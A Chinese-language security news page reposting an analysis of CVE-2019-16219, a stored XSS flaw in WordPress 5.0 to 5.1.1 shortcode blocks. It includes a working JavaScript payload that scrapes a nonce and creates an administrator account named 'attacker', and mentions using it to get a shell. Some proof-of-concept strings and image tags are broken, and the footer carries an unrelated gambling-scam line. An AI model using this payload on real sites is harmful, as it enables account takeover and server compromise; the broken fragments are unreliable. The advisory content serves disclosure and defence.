歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

CVE-2019-16219: WordPress (Core)存儲型XSS漏洞

來源:本站整理 作者:佚名 時間:2019-10-08 TAG: 我要投稿

WordPress是最主流的內容管理系統(CMS),占全球CMS市場份額的60.4%,遠高于第二的Joomla!(5.2%)。因此,有超過1/3的網站使用WordPress。FortiGuard研究人員近期發現一個WordPress中的存儲型XSS 0day漏洞。該0day漏洞是由于WordPress 5.0中新內置的Gutenberg引發的XSS漏洞。該編輯器沒有超過過濾Shortcode錯誤消息中的JavaScript/HTML代碼。因此,有Contributor或更高權限的遠程攻擊者就可以在訪問被黑頁面的受害者瀏覽器中執行任意JS/HTML代碼。如果受害者有更高權限,比如administrator權限,攻擊者甚至可以入侵整個web服務器
XSS漏洞CVE編號為 CVE-2019-16219,影響WordPress 5.0到5.0.4,5.1和5.1.1版本。
漏洞分析
在WordPress 5.0中,用戶可以在文章中添加Shortcode塊。在添加特定HTML編碼的字符到Shortcode塊,然后重新打開文章時,就顯示錯誤信息,以
xss-vulnerability/_jcr_content/root/responsivegrid/image_1976545363.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
圖1. 插入HTML編碼的字符串到ShortCode塊
xss-vulnerability/_jcr_content/root/responsivegrid/image_608806724.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
圖2. 預覽時的Shortcode錯誤消息
預覽時的XSS過濾器可以很容易地過濾,比如POC">:
xss-vulnerability/_jcr_content/root/responsivegrid/image_2070918239.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
圖3. 插入PoC代碼到Shortcode塊
受害者查看文章時,XSS代碼就會在瀏覽器中執行。
xss-vulnerability/_jcr_content/root/responsivegrid/image_2074513967.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
圖4. WordPress Shortcode Preview XSS
如果受害者有admin權限,攻擊者就可以利用該漏洞來獲取管理員賬號的完全,使用WordPress內置功能來GetShell。然后控制服務器。
比如,攻擊者可以在web服務器上保持JS文件,如wpaddadmin[.]jshttps://g0blin.co.uk/xss-and-wordpress-the-aftermath/ 。JS代碼會用用戶名attacker和密碼attacker添加一個WordPress管理員賬號。
// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' valuevar ajaxRequest = new XMLHttpRequest();var requestURL = "/wordpress/wp-admin/user-new.php";var nonceRegex = /ser" value="([^"]*?)"/g;ajaxRequest.open("GET", requestURL, false);ajaxRequest.send();var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);var nonce = nonceMatch[1];// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administratorvar params = "action=createuser&_wpnonce_create-user="+nonce+"[email protected]&pass1=attacker&pass2=attacker&role=administrator";ajaxRequest = new XMLHttpRequest();ajaxRequest.open("POST", requestURL, true);ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajaxRequest.send(params);
然后攻擊者就可以用下面的POC來插入JS:
“">”
xss

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.nkppsz.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        秒速时时彩骗局